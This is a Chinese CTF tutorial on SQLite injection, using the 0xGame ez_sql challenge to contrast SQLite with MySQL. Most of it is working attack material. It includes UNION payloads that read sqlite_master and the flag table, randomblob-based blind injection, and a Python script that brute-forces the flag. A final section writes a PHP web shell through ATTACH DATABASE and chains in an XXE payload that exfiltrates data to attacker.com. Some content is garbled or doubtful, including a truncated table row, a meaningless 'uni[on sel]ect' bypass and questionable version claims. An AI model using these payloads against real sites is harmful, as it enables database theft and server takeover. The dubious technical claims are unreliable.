SQLite注入实战:从0xGame靶场看与MySQL的5个关键差异点
在CTF竞赛和实际渗透测试中,SQL注入始终是最常见的安全漏洞之一。然而,当面对SQLite数据库时,许多熟悉MySQL注入的选手往往会感到困惑——为什么常用的information_schema查询失效了?为什么sleep()函数无法用于盲注?本文将以0xGame靶场中的ez_sql题目为例,深入剖析SQLite与MySQL在注入技术上的核心差异,并提供可直接复现的Payload示例。
1. 数据库架构的根本差异
SQLite与MySQL最显著的区别在于其架构设计。MySQL作为客户端-服务器模式的数据库,拥有完善的权限系统和多用户管理功能,而SQLite是嵌入式数据库,整个数据库就是一个独立的文件。
这种差异直接导致:
-
无information_schema:SQLite使用
sqlite_master作为元数据表,存储所有表结构信息。获取表名的典型Payload:id=1 union select 1,2,3,(select group_concat(tbl_name) from sqlite_master where type='table'),5 -
单文件特性:攻击者可通过文件读取直接获取数据库文件(如
/var/www/html/database.db),这在MySQL中几乎不可能实现。
实战技巧:当遇到SQLite注入时,首先尝试用sqlite_version()确认版本,不同版本的函数支持可能存在差异。例如3.35.0以上才支持json_extract()函数。
2. 关键函数的缺失与替代方案
SQLite缺少许多MySQL中常用的函数,这给注入带来巨大挑战:
| MySQL函数 | SQLite替代方案 | 示例Payload |
|---|---|---|
| sleep() | 复杂查询或随机延迟 | randomblob(100000000)制造CPU负载 |
| if() | CASE WHEN或IIF() | CASE WHEN 1=1 THEN 1 ELSE 0 END |
| mid() | substr()或substring() | substr(flag,1,1) |
| concat() | ` |
在0xGame的ez_sql题目中,通过以下Payload成功获取flag:
id=1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)
注意:SQLite的
group_concat()有长度限制(默认1,000,000字节),大文本需分片获取。
3. 注释与语句分隔的特殊处理
SQLite对注释和语句分隔的处理与MySQL有显著不同:
-
注释符号:
- MySQL支持
#、--和/* */ - SQLite仅支持
--和/* */,且--后必须跟空格
- MySQL支持
-
语句分隔:
-- MySQL可执行多语句 SELECT 1; DROP TABLE users; -- SQLite默认关闭多语句,需特殊配置
CTF实战案例:当过滤单引号时,可利用SQLite的quote()函数:
id=1 union select 1,2,3,quote(flag),5 from flag
4. 布尔盲注的独特实现方式
由于缺乏sleep(),SQLite盲注需要创造性解决方案:
时间盲注替代方案:
-- 通过复杂查询制造延迟
id=1 and case when substr(flag,1,1)='a'
then randomblob(100000000) else 1 end
布尔盲注技巧:
-- 利用错误回显
id=1 and (select case when substr(flag,1,1)='a'
then 1 else zeroblob(1000000000) end from flag)
0xGame实战Payload:
# 自动化盲注脚本示例
import requests
url = "http://target.com/vuln?id="
flag = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}{"
for i in range(1,50):
for c in charset:
payload = f"1 and (select substr(flag,{i},1) from flag)='{c}'"
r = requests.get(url+payload)
if "content_marker" in r.text:
flag += c
print(flag)
break
5. 高级注入技术的限制与突破
-
文件操作差异:
- MySQL:
load_file()/into outfile - SQLite:
.read和.dump命令(需交互式shell)
- MySQL:
-
命令执行:
- 纯SQLite无法直接执行系统命令
- 需结合其他漏洞(如PHP的
exec())
-
绕过过滤技巧:
-- 使用[]包裹关键字 id=1 uni[on sel]ect 1,2,3 -- 利用SQLite的灵活语法 id=1 values(1,2,3,(select flag from flag))
最新研究:SQLite 3.39.0+支持json_tree()函数,可用于数据提取:
select json_tree((select * from flag))
为什么sqlmap在SQLite注入中经常失效
- 指纹识别问题:sqlmap默认优先检测MySQL/Oracle
- Payload库不足:缺少SQLite特有函数的利用方式
- 盲注策略不匹配:无法有效处理无
sleep()的场景
手动注入优势:
- 精确控制查询结构
- 利用SQLite特有语法
- 绕过WAF/过滤更灵活
在0xGame题目中,组织方特意提示:"Do_not_Use_SqlMap!_Try_it_By_Your_Self",这正是为了锻炼选手的手动注入能力。
实战:从注入到RCE的完整链条
虽然SQLite本身不支持命令执行,但结合应用环境可能实现突破:
-
数据库文件下载:
-- 通过报错泄露路径 id=1 and load_extension('non_existent') -- 返回类似:/var/www/html/db.sqlite -
利用SQLite特性:
-- 创建恶意视图 CREATE VIEW shell AS SELECT writefile('/var/www/html/shell.php','<?php system($_GET[cmd]);?>'); -
结合其他漏洞:
# 通过XXE+SQLite注入实现RCE import requests sql_payload = "1;ATTACH DATABASE '/var/www/html/rce.php' AS pwn;" sql_payload += "CREATE TABLE pwn.exp(data TEXT);" sql_payload += "INSERT INTO pwn.exp VALUES('<?php system($_GET[cmd]);?>');" xxe = f"""<?xml version="1.0"?> <!DOCTYPE rce [ <!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/?id={sql_payload}"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://attacker.com/?p=%payload;'>"> %int; %trick; ]>"""
掌握这些差异不仅能提升CTF竞赛水平,更能帮助开发人员编写更安全的代码。建议在日常渗透测试中建立专门的SQLite注入检测方案,而非简单套用MySQL的测试用例。

2049

被折叠的 条评论
为什么被折叠?



